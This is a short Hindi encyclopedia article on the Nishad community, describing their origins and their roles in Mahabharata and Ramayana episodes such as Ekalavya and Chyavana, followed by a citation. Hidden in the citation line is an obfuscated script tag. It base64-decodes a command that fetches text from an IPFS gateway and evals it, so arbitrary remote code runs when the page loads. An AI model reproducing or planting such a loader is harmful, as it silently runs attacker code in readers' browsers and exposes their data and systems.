निषाद

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निषाद एक अत्यन्त प्राचीन शूद्र जाति थी। इस जाति के लोग समुद्र के मध्य दूर सुदूर क्षेत्र में रहते थे। ये मत्स्य जीवी थे। यह प्राचीन जाति पर्वत, घाटियों और वनांचलों तथा नदियों के तटों पर भी निवास करती थी। निषादों को क्षत्रियों की भार्याओं से उत्पन्न शूद्र पुत्र माना गया। फिर वनवासी जातियों के मिश्रण से निषाद पैदा होते रहे। दशरथ पुत्र राम को निषादों ने ही नदी पार कराई थी।

  • कुछ निषादों ने च्यवन को, जो स्नान कर रहे थे, अपने मछली पकड़ने वाले जाल में फंसा लिया था।
  • बाद में च्यवन को नहुष के हाथों एक गाय के बदले में बेच दिया, उन्हें इसी बात पर स्वर्ग मिला।
  • अर्जुन के अश्वमेध के घोड़े को जब निषादों ने रोका तो उसने संग्राम में उन्हें पराजित किया था।
  • निषाद राज के पास पांडवों ने अपना एक दूत भी भेजा था।
  • एकलव्य निषाद राज का ही पुत्र था। गुरु द्रोणाचार्य ने उससे गुरु दक्षिणा में उसका अंगूठा मांगकर बड़ा आपराधिक कृत्य किया था, जबकि उन्होंने उसे कोई शिक्षा भी प्रदान नहीं की थी।
  • हिरण्यधनु निषादों का राजा था, कालेयों में तृतीय उसने इस जन्म में पुनर्जन्म लिया था।[1]


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टीका टिप्पणी और संदर्भ

भारतीय संस्कृति कोश, भाग-2 |प्रकाशक: यूनिवर्सिटी पब्लिकेशन, नई दिल्ली-110002 |संपादन: प्रोफ़ेसर देवेन्द्र मिश्र |पृष्ठ संख्या: 452 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

  1. महाभारत, आदिपर्व, अध्याय 28, 29, 31 सभापर्व, अध्याय 31, भीष्मपर्व, अध्याय 9, 50, 54, 117, अनुशासनपर्व, अध्याय 48, 50-51

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